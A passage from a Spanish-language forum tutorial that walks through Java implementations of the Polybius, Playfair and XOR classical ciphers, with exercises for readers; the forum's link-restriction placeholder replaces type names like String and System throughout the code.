  68.                //Guarda en nuestro array cipher las posiciones
  69.                //de el caracter i para las filas y j para las columnas
  70.                cipher[h]=You are not allowed to view links. Register or Login.toString(i)+You are not allowed to view links. Register or Login.toString(j);
  71.            
  72.                //sale del ciclo apenas lo encuentra
  73.                break;
  74.             }  
  75.          }
  76.       }
  77.          // Va imprimiendo el cipher (mensaje ya cifrado)
  78.          You are not allowed to view links. Register or Login.out.print(cipher[h]+" ");
  79.       }
  80.       //Retorna el cipher
  81.       return cipher;
  82.      
  83.    }
  84.    
  85.    public static You are not allowed to view links. Register or Login Descifrar_Polibio(You are not allowed to view links. Register or Login [] cipher,char [][] matris){
  86.      
  87.       //Un array con la direccion de el caracter [fila][columna]
  88.       char [] direccion;
  89.       You are not allowed to view links. Register or Login mensaje ="";
  90.       //
  91.       //Vamos por todas las posiciones del cipher
  92.       for(int i=0;i<cipher.length;i++){
  93.          //Convertimos la direccion en un array de char
  94.        direccion = cipher[i].toCharArray();
  95.      
  96.           // sabemos que en la posicion 0 esta la fila y en la posicion 1 esta la columna
  97.        //buscamos en la matriz el caracter que este en esa posicion y lo vamos concatenando al mensaje normal
  98.      
  99.           mensaje+=matris[You are not allowed to view links. Register or Login.getNumericValue( direccion[0])][You are not allowed to view links. Register or Login.getNumericValue(direccion[1])];
  100.        
  101.    }
  102.       //Imprime el mensaje ya descifrado
  103.          You are not allowed to view links. Register or Login.out.println(mensaje);
  104.          
  105.          //Retorna el mensaje
  106.       return mensaje;
  107.    }
  108.    
  109. }
  110.  
  111.  


Vamos a utilizarlo cifrando el mensaje: en1gm4 programa
(recuerden que los caracteres del mensaje deben estar en la matriz si no nunca encontrar la posicion y nos generara error)


nos da como cipher: 04 16 36 06 15 42 54 22 24 21 06 24 00 15 00
y si revisamos la posicion: fila 0 columna 4 = e , y si lo hacemos con todo el cipher nos daremos cuenta que si hace lo que queriamos, listo!

EJERCICIO #2
Utilize el algoritmo para descifra este mensaje:
 00 14 06 30 16 54 03 11 00 54 04 16 02 21 16 26 24 00 24 00 25 54 14 21 25 54 23 30 04 54 01 30 25 02 00 25

En base a la matriz que se ve anteriormente en el programa, a mano!



Cifrado Playfair

Les dejare un video para que entiendan este tipo de cifrado ya que graficamente se entiende mucho mejor que si me pongo a copiar aca toda la teoria, necesito que entiendan bien como funciona para luego empezar a codearlo

Videos





Basicamente el cifrado consiste en una matriz con la que se cifra, la matriz se genera en base a la clave ya que esta se escribe en la matriz sin caracteres repetidos y luego si se termina de llenar la matriz con el resto de caracteres del abecedario sin repetir, numeros y signos si se desea

Se parte el mensaje en parejas por ejemplo HOLA quedaria HO LA y asi con todo el mensaje, luego ubicamos las dos letras en la matriz y miramos:

- Si estan en la misma fila se le suma una posicion a la columna de cada letra
- Si estan en la misma Columna se le suma una posicion a la fila de cada letra
-Si no estan ni en la misma Columna ni en la misma fila, se coloca su diagonal opuesta
 

Y listo sabiendo como funciona este cifrado vamos a empezar, primero voy a crear una clase main llamada CifradoPlayfair y hare lo mismo de siempre pedire un mensaje pero ahora tambien necesitaremos una clave asi que tambien la pediremos, seria algo asi:


Código: Java
  1. public class CifradoPlayfair {
  2.  
  3.    
  4.    public static void main(You are not allowed to view links. Register or Login[] args) {
  5.       // TODO Auto-generated method stub
  6.  
  7.      
  8.       You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  9.       You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO PLAYFAIR * |");
  10.       You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  11.       Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  12.  
  13.       You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  14.       You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  15.       You are not allowed to view links. Register or Login.out.println("Ingrese la Clave:  ");
  16.       You are not allowed to view links. Register or Login clave  = sc.nextLine();
  17.                                    }
  18.             }
  19.  

Bueno ya teniendo estos datos ahora voy a crear una funciona que se llame Cifrado_Playfair que recibe como parametro el mensaje y la clave, bueno antes de concentrarnos en esta funcion tambien eh creado unas funciones auxiliares que me ayudan a generar la matris y a generar las parejas de caracteres del mensaje

Con esta funcion genero la matriz en base a la clave:

Código: Java
  1. public static char [][] GenerarMatriz (You are not allowed to view links. Register or Login clave){
  2.        char [][] matris = new char [7][7];
  3.  
  4.       char [] caracteresClave = clave.toCharArray();
  5.       char [] numeros = {'0','1','2','3','4','5','6','7','8','9'};
  6.       char [] letras = new char [26];
  7.       char [] signos = {'+','-','$','&',',','.',' ','_','*','%','=','?','¿'};
  8.       LinkedHashSet<Character> caracteresMatriz = new LinkedHashSet<>();
  9.      
  10.    
  11.      
  12.       //Eliminamos las letras repetidas de a clave
  13.       //Se ingresa la clave sin caracteres repetidos a la coleccion que tendra todos los caracteres de la matris
  14.      
  15.       for(int k=0;k<caracteresClave.length;k++){
  16.          caracteresMatriz.add(caracteresClave[k]);  
  17.       }
  18.      
  19.       //Se generan las letras del abecedario en base al codigo ASCII
  20.       for(int i=97;i<123;i++){
  21.          letras[i-97] = (char)i;
  22.       }
  23.      
  24.      
  25.      
  26.       //Se ingresa el resto del abecedario
  27.       for(int i=0;i<letras.length;i++){
  28.          caracteresMatriz.add(letras[i]);
  29.       }
  30.      
  31.       //Se ingresan los numeros
  32.       for(int i=0;i<numeros.length;i++){
  33.          caracteresMatriz.add(numeros[i]);
  34.       }
  35.      
  36.       //Se ingresan los signos
  37.       for(int i=0;i<signos.length;i++){
  38.          caracteresMatriz.add(signos[i]);
  39.          }
  40.      
  41.       //Se convierte el linkedhashSet en un array para luego meterlo en la matriz
  42.       int cont;
  43.       char [] arrayTemporal = new char [caracteresMatriz.size()];
  44.       cont=0;
  45.       for(char caracter:caracteresMatriz){
  46.          arrayTemporal[cont]=caracter;
  47.          cont++;
  48.       }
  49.      
  50.      
  51.      
  52.       //Se ingresan a la matriz todos los caracteres (con esto tendriamos nuestra matriz lista)
  53.       cont=0;
  54.       for(int i=0;i<matris.length;i++){
  55.          for(int j=0;j<matris[0].length;j++){
  56.             matris[i][j]=arrayTemporal[cont];
  57.             cont++;
  58.          }
  59.          
  60.       }
  61.      
  62.       return matris;
  63.    }
  64.  


y Listo con esta funcion ya generamos nuestra matriz en base a la clave, ahora necesitamos una funcion que nos forme cadenas de caracteres, si la cadena tiene un tamaño impar se le agrega el caracter 'x' al final para que sea par y tambien sabiendo que si hay dos caractere repetidos coloque una x en la mitad, por ejemplo:
LLAVE -> LXLAVE 
para que en el momento de cifrar no queden cifras iguales pegadas y pues un sabrian que es una letra que se repite como la ll o la rr algo asi.

Esta funcion recibe por parametro el mensaje y nos devuelve una matris de parejas de caracteres con la anterior regla, una salvedad, en los videos dice que al mensaje se le deben eliminar los espacios, yo en la matriz  ingrese en caracter espacio para no tener que hacer esto y que los mensajes se descifren igual como el original:

Código: Java
  1.    public static char [][] GenerarParejas(You are not allowed to view links. Register or Login mensaje){
  2.      
  3.       int tam = mensaje.length();
  4.      
  5.       //Se revisa que no alla caracteres repetidos consecutivamente como "llave"
  6.       //tendria que queda lxlave
  7.      
  8.       char [] revision= mensaje.toCharArray();
  9.       ArrayList<Character> arrayRevision = new ArrayList<>();
  10.       for(int i=0;i<mensaje.length();i++){
  11.          arrayRevision.add(revision[i]);
  12.      
  13.          if(i+1<revision.length){
  14.          if(revision[i]==revision[i+1]){
  15.             arrayRevision.add('x');
  16.            
  17.                               }
  18.                   }
  19.             }
  20.      
  21.       //Revisamos que el mensaje quede de un tamaño par si no es asi agregamos x al final para volverlo par
  22.       if(arrayRevision.size()%2!=0){
  23.          arrayRevision.add('x');
  24.       }
  25.      
  26.      
  27.       //Se forma una matris de 2 columnas para las parejas de caracteres
  28.       char [][] parejaCaracteres= new char [arrayRevision.size()/2][2];
  29.       int cont =0;
  30.       for(int i=0;i<parejaCaracteres.length;i++){
  31.          for(int j=0;j<parejaCaracteres[1].length;j++){
  32.             parejaCaracteres[i][j]=arrayRevision.get(cont);
  33.             cont++;
  34.          }
  35.       }
  36.      
  37.       return parejaCaracteres;
  38.    }
  39.  


Listo ya tenemos dos funciones listas, pero ahora vamos a necesitar ayuda de una tercera funcion que se va a encargar de darme la posicion  de un caracter en la matriz para poder aplicar las reglas de que si esta en la misma fila o columna... etc
Bueno la funcion me recibe como parametros un caracter que sera en que vamos a buscar y una matriz en la cual vamos a buscar el caracter, quedaria algo asi:

Código: Java
  1.    
  2. public static int[] ObtenerPosicionCaracter(char caracter,char [][] matris){
  3.      
  4.       int [] direccion = new int [2];
  5.      
  6.      
  7.       for(int i =0;i<matris.length;i++ ){
  8.          
  9.          for(int j=0;j<matris[i].length;j++){
  10.            
  11.             if(caracter == matris[i][j]){
  12.                //fila
  13.                                           direccion[0]=i;
  14.                                            //columna
  15.                direccion[1]=j;
  16.             }
  17.          }
  18.    
  19.       }
  20.    
  21.       return direccion;
  22.      
  23.    }
  24.  

y Listo ya tenemos nuestras funciones listas para utilizar en nuestra funcion de cifrar, que nos recibe un mensaje y una clave como parametros, genera la matriz en base a la clave, genera las parejas de caracteres y va por cada pareja de caracteres aplicando las reglas, quedaria algo asi:

Código: Java
  1.    public static You are not allowed to view links. Register or Login Cifrado_Playfair(You are not allowed to view links. Register or Login mensaje,You are not allowed to view links. Register or Login clave){
  2.  
  3.       //Se genera la matriz
  4.       char [][] matris = GenerarMatriz(clave);
  5.       //Se generan las parejas de caracteres
  6.       char [][] parejaCaracteres = GenerarParejas(mensaje);
  7.      
  8.       You are not allowed to view links. Register or Login.out.println("\n \t Matriz");
  9.       //Imprimimos la matriz con la misma funcion que hemos utilizado
  10.       //en todo el taller
  11.       Imprimir(matris);
  12.      
  13.       //Se imprimen las parejas de caracteres
  14.       You are not allowed to view links. Register or Login.out.println("\n \t Parejas de caracteres");
  15.       Imprimir(parejaCaracteres);
  16.       You are not allowed to view links. Register or Login cipher = "";
  17.      
  18.       //Los array de direcciones de las dos letras
  19.       int [] direcciones ;  
  20.       int [] direcciones2;
  21.       int columna =0;
  22.       //Se va por todas las parejas de caracteres
  23.       for(int i=0;i<parejaCaracteres.length;i++){
  24.      
  25.      
  26.          // Se manda a obtener las posiciones de los caracteres
  27.          direcciones= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
  28.          columna++;
  29.          direcciones2= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
  30.          
  31.          
  32.          if(columna==1){
  33.             columna=0;
  34.          }
  35.          
  36.          // Se guardan en variables para asi comparar las reglas
  37.          int fila1= direcciones[0];
  38.          int columna1= direcciones[1];
  39.          
  40.          int fila2= direcciones2[0];
  41.          int columna2= direcciones2[1];
  42.          
  43.          
  44.          // Si estan en la misma fila se le suma +1 a la columna
  45.          int fTemporal;
  46.          if(fila1==fila2){
  47.             fTemporal= columna1+1;
  48.             if(fTemporal==matris.length){
  49.                fTemporal=0;
  50.             }
  51.            
  52.             cipher+=matris[fila1][fTemporal];
  53.            
  54.            
  55.             fTemporal = columna2+1;
  56.             if(fTemporal==matris.length){
  57.                fTemporal=0;
  58.             }
  59.            
  60.             cipher+=matris[fila2][fTemporal];
  61.          }      
  62.          
  63.          
  64.          // si estan en la misma columna se le suma +1 a la fila
  65.          int cTemporal;
  66.          if(columna1==columna2){
  67.            
  68.             cTemporal = fila1+1;
  69.            
  70.             if(cTemporal == matris.length){
  71.                cTemporal=0;
  72.             }
  73.            
  74.             cipher+= matris[cTemporal][columna1];
  75.            
  76.             cTemporal = fila2+1;
  77.            
  78.             if(cTemporal == matris.length){
  79.                cTemporal=0;
  80.             }
  81.            
  82.             cipher+= matris[cTemporal][columna2];
  83.            
  84.            
  85.          }  
  86.          
  87.          // si no cumple ninguna de las anteriores
  88.          // se coloca la diagonal opuesta, se invierten las columnas
  89.          
  90.          if(fila1!=fila2 & columna1!=columna2){
  91.            
  92.             cipher+=matris[fila1][columna2];
  93.             cipher+=matris[fila2][columna1];
  94.            
  95.  
  96.                   }
  97.       }
  98.      
  99.       // se retorna el cipher
  100.       return cipher;
  101.    }
  102.  

Y listo ya tendriamos nuestra funcion de cifrar lista!, ahora vamos a programar nuestra funcion de descifrar que hace casi lo mismo que la anterior pero de para atras xd, esta funcion nos recibe como parametros el mensaje y la clave, quedari algo asi


Código: Java
  1.  
  2.    public static You are not allowed to view links. Register or Login Descifrado_Playfair(You are not allowed to view links. Register or Login cipher,You are not allowed to view links. Register or Login clave){
  3.      
  4.       You are not allowed to view links. Register or Login mensaje ="";
  5.      
  6.       char [][] matris= GenerarMatriz(clave);
  7.       char [][] parejas = GenerarParejas(cipher);
  8.      
  9.       int [] direcciones;
  10.       int [] direcciones2;
  11.      
  12.       int columnas=0;
  13.       for(int i=0;i<parejas.length;i++){
  14.          
  15.          
  16.          direcciones= ObtenerPosicionCaracter(parejas[i][columnas],matris);
  17.          columnas++;
  18.          
  19.  
  20.          int fila1= direcciones[0];
  21.          int columna1= direcciones[1];
  22.  
  23.          
  24.          direcciones2= ObtenerPosicionCaracter(parejas[i][columnas],matris);
  25.          if(columnas==1){columnas=0;}
  26.          
  27.          int fila2= direcciones2[0];
  28.          int columna2= direcciones2[1];
  29.          
  30.          //Filas iguales ya no se suma , si no que ahora se resta -1 a la columna
  31.          int fTemporal;
  32.          if(fila1==fila2){
  33.             fTemporal= columna1-1;
  34.             if(fTemporal<0){
  35.                fTemporal=matris.length-1;
  36.             }
  37.            
  38.             mensaje+=matris[fila1][fTemporal];
  39.            
  40.            
  41.             fTemporal = columna2-1;
  42.             if(fTemporal<0){
  43.                fTemporal=matris.length-1;
  44.             }
  45.            
  46.             mensaje+=matris[fila2][fTemporal];
  47.          }      
  48.          
  49.          
  50.          int cTemporal;
  51.          //Columnas iguales ya no se suma , si no que ahora se resta -1 a la fila
  52.  
  53.          if(columna1==columna2){
  54.            
  55.             cTemporal = fila1-1;
  56.            
  57.             if(cTemporal<0){
  58.                cTemporal=matris.length-1;
  59.             }
  60.            
  61.             mensaje+= matris[cTemporal][columna1];
  62.            
  63.             cTemporal = fila2-1;
  64.            
  65.             if(cTemporal<0){
  66.                cTemporal=matris.length-1;
  67.             }
  68.            
  69.             mensaje+= matris[cTemporal][columna2];
  70.            
  71.            
  72.          }  
  73.          
  74.          //Si no se cumple ninguna se coloca la diagonal opuesta, esto no cambia
  75.          if(fila1!=fila2 & columna1!=columna2){
  76.            
  77.             mensaje+=matris[fila1][columna2];
  78.             mensaje+=matris[fila2][columna1];
  79.  
  80.          }
  81.          
  82.       }
  83.      
  84.       return mensaje;
  85.    }
  86.    
  87.    
  88.  



Aca la funcion imprimir por si les genera error :v, es una simple funcion que me imprime una matriz:

Código: Java
  1. public static void Imprimir(char [][] matris){
  2.       for(int i=0;i<matris.length;i++){
  3.          for(int j=0;j<matris[i].length;j++){
  4.             You are not allowed to view links. Register or Login.out.print(matris[i][j]+" ");
  5.  
  6.          }
  7.          You are not allowed to view links. Register or Login.out.println("");
  8.  
  9.       }
  10.    }
  11.  

Y bueno ya tendriamos nuestra funcion de cifrado y descifrado compañ[email protected]!
el programa completo quedaria algo asi:

Código: Java
  1. import java.util.ArrayList;
  2. import java.util.LinkedHashSet;
  3. import java.util.Scanner;
  4.  
  5. public class CifradoPlayfair {
  6.  
  7.    
  8.    public static void main(You are not allowed to view links. Register or Login[] args) {
  9.       // TODO Auto-generated method stub
  10.  
  11.      
  12.       You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  13.       You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO PLAYFAIR * |");
  14.       You are not allowed to view links. Register or Login.out.println("\t   ---------------------");
  15.       Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  16.  
  17.       You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  18.       You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  19.       You are not allowed to view links. Register or Login.out.println("Ingrese la Clave:  ");
  20.       You are not allowed to view links. Register or Login clave  = sc.nextLine();
  21.          
  22.      
  23.       You are not allowed to view links. Register or Login cipher =   Cifrado_Playfair(mensaje,clave);
  24.       You are not allowed to view links. Register or Login mensaje2 = Descifrado_Playfair(cipher,clave);
  25.      
  26.       You are not allowed to view links. Register or Login.out.println("\nCipher: "+cipher);
  27.       You are not allowed to view links. Register or Login.out.println("Mensaje descifrado: "+mensaje2);
  28.      
  29.    }
  30.    
  31.  
  32.    
  33.    
  34.    public static You are not allowed to view links. Register or Login Descifrado_Playfair(You are not allowed to view links. Register or Login cipher,You are not allowed to view links. Register or Login clave){
  35.      
  36.       You are not allowed to view links. Register or Login mensaje ="";
  37.      
  38.       char [][] matris= GenerarMatriz(clave);
  39.       char [][] parejas = GenerarParejas(cipher);
  40.      
  41.       int [] direcciones;
  42.       int [] direcciones2;
  43.      
  44.       int columnas=0;
  45.       for(int i=0;i<parejas.length;i++){
  46.          
  47.          
  48.          direcciones= ObtenerPosicionCaracter(parejas[i][columnas],matris);
  49.          columnas++;
  50.          
  51.  
  52.          int fila1= direcciones[0];
  53.          int columna1= direcciones[1];
  54.  
  55.          
  56.          direcciones2= ObtenerPosicionCaracter(parejas[i][columnas],matris);
  57.          if(columnas==1){columnas=0;}
  58.          
  59.          int fila2= direcciones2[0];
  60.          int columna2= direcciones2[1];
  61.          
  62.          //Filas iguales ya no se suma , si no que ahora se resta -1 a la columna
  63.          int fTemporal;
  64.          if(fila1==fila2){
  65.             fTemporal= columna1-1;
  66.             if(fTemporal<0){
  67.                fTemporal=matris.length-1;
  68.             }
  69.            
  70.             mensaje+=matris[fila1][fTemporal];
  71.            
  72.            
  73.             fTemporal = columna2-1;
  74.             if(fTemporal<0){
  75.                fTemporal=matris.length-1;
  76.             }
  77.            
  78.             mensaje+=matris[fila2][fTemporal];
  79.          }      
  80.          
  81.          
  82.          int cTemporal;
  83.          //Columnas iguales ya no se suma , si no que ahora se resta -1 a la fila
  84.  
  85.          if(columna1==columna2){
  86.            
  87.             cTemporal = fila1-1;
  88.            
  89.             if(cTemporal<0){
  90.                cTemporal=matris.length-1;
  91.             }
  92.            
  93.             mensaje+= matris[cTemporal][columna1];
  94.            
  95.             cTemporal = fila2-1;
  96.            
  97.             if(cTemporal<0){
  98.                cTemporal=matris.length-1;
  99.             }
  100.            
  101.             mensaje+= matris[cTemporal][columna2];
  102.            
  103.            
  104.          }  
  105.          
  106.          //Si no se cumple ninguna se coloca la diagonal opuesta, esto no cambia
  107.          if(fila1!=fila2 & columna1!=columna2){
  108.            
  109.             mensaje+=matris[fila1][columna2];
  110.             mensaje+=matris[fila2][columna1];
  111.  
  112.          }
  113.          
  114.       }
  115.      
  116.       return mensaje;
  117.    }
  118.    
  119.    
  120.    
  121.    public static You are not allowed to view links. Register or Login Cifrado_Playfair(You are not allowed to view links. Register or Login mensaje,You are not allowed to view links. Register or Login clave){
  122.  
  123.       //Se genera la matriz
  124.       char [][] matris = GenerarMatriz(clave);
  125.       //Se generan las parejas de caracteres
  126.       char [][] parejaCaracteres = GenerarParejas(mensaje);
  127.      
  128.       You are not allowed to view links. Register or Login.out.println("\n \t Matriz");
  129.       //Imprimimos la matriz con la misma funcion que hemos utilizado
  130.       //en todo el taller
  131.       Imprimir(matris);
  132.      
  133.       //Se imprimen las parejas de caracteres
  134.       You are not allowed to view links. Register or Login.out.println("\n \t Parejas de caracteres");
  135.       Imprimir(parejaCaracteres);
  136.       You are not allowed to view links. Register or Login cipher = "";
  137.      
  138.       //Los array de direcciones de las dos letras
  139.       int [] direcciones ;  
  140.       int [] direcciones2;
  141.       int columna =0;
  142.       //Se va por todas las parejas de caracteres
  143.       for(int i=0;i<parejaCaracteres.length;i++){
  144.      
  145.      
  146.          // Se manda a obtener las posiciones de los caracteres
  147.          direcciones= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
  148.          columna++;
  149.          direcciones2= ObtenerPosicionCaracter(parejaCaracteres[i][columna],matris);
  150.          
  151.          
  152.          if(columna==1){
  153.             columna=0;
  154.          }
  155.          
  156.          // Se guardan en variables para asi comparar las reglas
  157.          int fila1= direcciones[0];
  158.          int columna1= direcciones[1];
  159.          
  160.          int fila2= direcciones2[0];
  161.          int columna2= direcciones2[1];
  162.          
  163.          
  164.          // Si estan en la misma fila se le suma +1 a la columna
  165.          int fTemporal;
  166.          if(fila1==fila2){
  167.             fTemporal= columna1+1;
  168.             if(fTemporal==matris.length){
  169.                fTemporal=0;
  170.             }
  171.            
  172.             cipher+=matris[fila1][fTemporal];
  173.            
  174.            
  175.             fTemporal = columna2+1;
  176.             if(fTemporal==matris.length){
  177.                fTemporal=0;
  178.             }
  179.            
  180.             cipher+=matris[fila2][fTemporal];
  181.          }      
  182.          
  183.          
  184.          // si estan en la misma columna se le suma +1 a la fila
  185.          int cTemporal;
  186.          if(columna1==columna2){
  187.            
  188.             cTemporal = fila1+1;
  189.            
  190.             if(cTemporal == matris.length){
  191.                cTemporal=0;
  192.             }
  193.            
  194.             cipher+= matris[cTemporal][columna1];
  195.            
  196.             cTemporal = fila2+1;
  197.            
  198.             if(cTemporal == matris.length){
  199.                cTemporal=0;
  200.             }
  201.            
  202.             cipher+= matris[cTemporal][columna2];
  203.            
  204.            
  205.          }  
  206.          
  207.          // si no cumple ninguna de las anteriores
  208.          // se coloca la diagonal opuesta, se invierten las columnas
  209.          
  210.          if(fila1!=fila2 & columna1!=columna2){
  211.            
  212.             cipher+=matris[fila1][columna2];
  213.             cipher+=matris[fila2][columna1];
  214.            
  215.  
  216.                   }
  217.       }
  218.      
  219.       // se retorna el cipher
  220.       return cipher;
  221.    }
  222.    
  223.    
  224. public static int[] ObtenerPosicionCaracter(char caracter,char [][] matris){
  225.      
  226.       int [] direccion = new int [2];
  227.      
  228.      
  229.       for(int i =0;i<matris.length;i++ ){
  230.          
  231.          for(int j=0;j<matris[i].length;j++){
  232.            
  233.             if(caracter == matris[i][j]){
  234.                direccion[0]=i;
  235.                direccion[1]=j;
  236.             }
  237.          }
  238.    
  239.       }
  240.    
  241.       return direccion;
  242.      
  243.    }
  244.    
  245.    public static char [][] GenerarParejas(You are not allowed to view links. Register or Login mensaje){
  246.      
  247.       int tam = mensaje.length();
  248.      
  249.       //Se revisa que no alla caracteres repetidos consecutivamente como "llave"
  250.       //tendria que queda lxlave
  251.      
  252.       char [] revision= mensaje.toCharArray();
  253.       ArrayList<Character> arrayRevision = new ArrayList<>();
  254.       for(int i=0;i<mensaje.length();i++){
  255.          arrayRevision.add(revision[i]);
  256.      
  257.          if(i+1<revision.length){
  258.          if(revision[i]==revision[i+1]){
  259.             arrayRevision.add('x');
  260.            
  261.                               }
  262.                   }
  263.             }
  264.      
  265.       //Revisamos que el mensaje quede de un tamaño par si no es asi agregamos x al final para volverlo par
  266.       if(arrayRevision.size()%2!=0){
  267.          arrayRevision.add('x');
  268.       }
  269.      
  270.      
  271.       //Se forma una matris de 2 columnas para las parejas de caracteres
  272.       char [][] parejaCaracteres= new char [arrayRevision.size()/2][2];
  273.       int cont =0;
  274.       for(int i=0;i<parejaCaracteres.length;i++){
  275.          for(int j=0;j<parejaCaracteres[1].length;j++){
  276.             parejaCaracteres[i][j]=arrayRevision.get(cont);
  277.             cont++;
  278.          }
  279.       }
  280.      
  281.       return parejaCaracteres;
  282.    }
  283.    
  284.    
  285.    
  286.    
  287.    public static char [][] GenerarMatriz (You are not allowed to view links. Register or Login clave){
  288.        char [][] matris = new char [7][7];
  289.  
  290.       char [] caracteresClave = clave.toCharArray();
  291.       char [] numeros = {'0','1','2','3','4','5','6','7','8','9'};
  292.       char [] letras = new char [26];
  293.       char [] signos = {'+','-','$','&',',','.',' ','_','*','%','=','?','¿'};
  294.       LinkedHashSet<Character> caracteresMatriz = new LinkedHashSet<>();
  295.      
  296.    
  297.      
  298.       //Eliminamos las letras repetidas de a clave
  299.       //Se ingresa la clave sin caracteres repetidos a la coleccion que tendra todos los caracteres de la matris
  300.      
  301.       for(int k=0;k<caracteresClave.length;k++){
  302.          caracteresMatriz.add(caracteresClave[k]);  
  303.       }
  304.      
  305.       //Se generan las letras del abecedario en base al codigo ASCII
  306.       for(int i=97;i<123;i++){
  307.          letras[i-97] = (char)i;
  308.       }
  309.      
  310.      
  311.      
  312.       //Se ingresa el resto del abecedario
  313.       for(int i=0;i<letras.length;i++){
  314.          caracteresMatriz.add(letras[i]);
  315.       }
  316.      
  317.       //Se ingresan los numeros
  318.       for(int i=0;i<numeros.length;i++){
  319.          caracteresMatriz.add(numeros[i]);
  320.       }
  321.      
  322.       //Se ingresan los signos
  323.       for(int i=0;i<signos.length;i++){
  324.          caracteresMatriz.add(signos[i]);
  325.          }
  326.      
  327.       //Se convierte el linkedhashSet en un array para luego meterlo en la matriz
  328.       int cont;
  329.       char [] arrayTemporal = new char [caracteresMatriz.size()];
  330.       cont=0;
  331.       for(char caracter:caracteresMatriz){
  332.          arrayTemporal[cont]=caracter;
  333.          cont++;
  334.       }
  335.      
  336.      
  337.      
  338.       //Se ingresan a la matriz todos los caracteres (con esto tendriamos nuestra matriz lista)
  339.       cont=0;
  340.       for(int i=0;i<matris.length;i++){
  341.          for(int j=0;j<matris[0].length;j++){
  342.             matris[i][j]=arrayTemporal[cont];
  343.             cont++;
  344.          }
  345.          
  346.       }
  347.      
  348.       return matris;
  349.    }
  350.    
  351.    public static void Imprimir(char [][] matris){
  352.       for(int i=0;i<matris.length;i++){
  353.          for(int j=0;j<matris[i].length;j++){
  354.             You are not allowed to view links. Register or Login.out.print(matris[i][j]+" ");
  355.  
  356.          }
  357.          You are not allowed to view links. Register or Login.out.println("");
  358.  
  359.       }
  360.    }
  361.    
  362.    
  363.  
  364. }
  365.  
  366.  
  367.  


Listo ahora lo pondre a funcionar con el mensaje: colombia tierra querida
y con la clave:  user_$
(recuerden que los caracteres del mensaje deben estar en la matriz, para este taller no utilizare nada de mayusculas ni simbolos raros)



y me da como resultado:

Cipher: hkmpjfpis1da_w_u.tsrafie
Mensaje descifrado: colombia tierxra querida

queda tierxra porque le pusimos la regla de que en las repetidas colocara una x en la mitad recuerden,

Y listo ya tendriamos otro algoritmo listo!

EJERCICIO #e
Utilize el algoritmo para descifrar este mensaje:
 vc4kb2b1sk%kpsebk_nx1cqv

Esta es la clave: en1gm4




Cifrado XOR


Bueno si han llegado hasta aca ya saben masomenos como funciona todo ese mundo de la criptografia, mueva alla, corrase tantos puestos y asi, ahora vamos a implementar otro algoritmo de cifrado pero esta vez utilizando una compuerta logica XOR

primero que todo tenemos que saber que es una compuerta logica XOR y antes de eso tener conceptos de numeros binarios ya que estas compuertas se les aplican a los binarios,

sabemos que toda la informacion en nuestra computadora por debajo al final no son las que 1 y 0;

Les dejare esta guia para que aprendan que es un bit y un byte, los que ya saben la pueden obviar

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Bueno ya sabiendo esto que 1 byte representa 8 bits y lo demas vamos a estudiar que es una compuerta logica, para lo cual les dejo aca la informacion, no la colocare aca porque seria nada mas copiar y pegar y ps para que.

CompuertaXOR

You are not allowed to view links. Register or Login (pueden buscar informacion adicional si no quedo muy claro es importante que sepan como funciona)

bueno despues de saber como funciona esta compuerta tenemos esta tabla de verdad que nos ayuda a entender mejor:


Bueno ya sabiendo esto y como funciona ahora si vamos a proceder a codear el algoritmo:

Primero debemos saber que un caracter es representado por un byte, osea 8 bits que al sumarlos por medio de codigo binario nos dara el codigo ascii del caracter

lean esto para que entiendan como funciona el cifrado xor:
You are not allowed to view links. Register or Login


por cuestiones de tiempo no explicare este algoritmo paso a paso si no que mostrare su funcionamiento, basicamente lo que hace es convertir el mensaje en un arreglo de caracteres, obtiene el codigo binario de ese caracter, luego convierte la clave en un arreglo de caracter y obtiene el binario de cada caracter y le aplica una compuerta XOR a estos dos binarios y para descrifrar hace lo mismo con el mensaje cifrado y la clave

Código: Java
  1. import java.util.Scanner;
  2.  
  3. public class CifradoXOR {
  4.  
  5.  
  6.    public static void main(You are not allowed to view links. Register or Login[] args) {
  7.       // TODO Auto-generated method stub
  8.  
  9.       Scanner sc = new Scanner(You are not allowed to view links. Register or Login.in);
  10.          You are not allowed to view links. Register or Login.out.println("\t   ------------------");
  11.          You are not allowed to view links. Register or Login.out.println("\t  | *  CIFRADO XOR * |");
  12.          You are not allowed to view links. Register or Login.out.println("\t   ------------------");
  13.  
  14.          You are not allowed to view links. Register or Login.out.println("Ingrese el Mensaje: ");
  15.          You are not allowed to view links. Register or Login mensaje  = sc.nextLine();
  16.          You are not allowed to view links. Register or Login.out.println("Ingrese clave");
  17.          You are not allowed to view links. Register or Login clave = sc.nextLine();
  18.          
  19.          //Se convierte el mensaje a array de binarios
  20.          You are not allowed to view links. Register or Login [] mensajeB = TextoABinario(mensaje);
  21.          You are not allowed to view links. Register or Login [] claveB = TextoABinario(clave);
  22.    
  23.          
  24.          You are not allowed to view links. Register or Login.out.println("");
  25.          You are not allowed to view links. Register or Login.out.println("Mensaje: "+mensaje);
  26.          You are not allowed to view links. Register or Login.out.println("Clave: "+clave);
  27.          You are not allowed to view links. Register or Login.out.println("");
  28.  
  29.       sc.close();
  30.       You are not allowed to view links. Register or Login.out.println("-------------------------------------------------------");
  31.       You are not allowed to view links. Register or Login.out.println("\t\t* Cifrando *");
  32.       You are not allowed to view links. Register or Login.out.println("-------------------------------------------------------");
  33.      
  34.       //Se manda a cifrar
  35.       You are not allowed to view links. Register or Login [] resultado = Cifrado_Descifrado_XOR(mensajeB,claveB);
  36.  
  37.      
  38.       Imprimir(mensajeB);
  39.    
  40.       You are not allowed to view links. Register or Login.out.print(": <-- bytes del mensaje");
  41.  
  42.       You are not allowed to view links. Register or Login.out.println("");
  43.      
  44.       Imprimir(claveB);
  45.       You are not allowed to view links. Register or Login.out.print(": <-- bytes de clave");
  46.      
